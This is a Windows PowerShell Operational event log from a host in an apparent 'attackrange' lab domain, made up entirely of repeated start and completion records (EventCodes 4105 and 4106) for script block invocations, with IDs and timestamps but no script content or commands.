Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029162
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029150
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029146
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029145
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029140
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029139
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029132
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029131
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029126
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029117
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029116
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029115
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029114
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
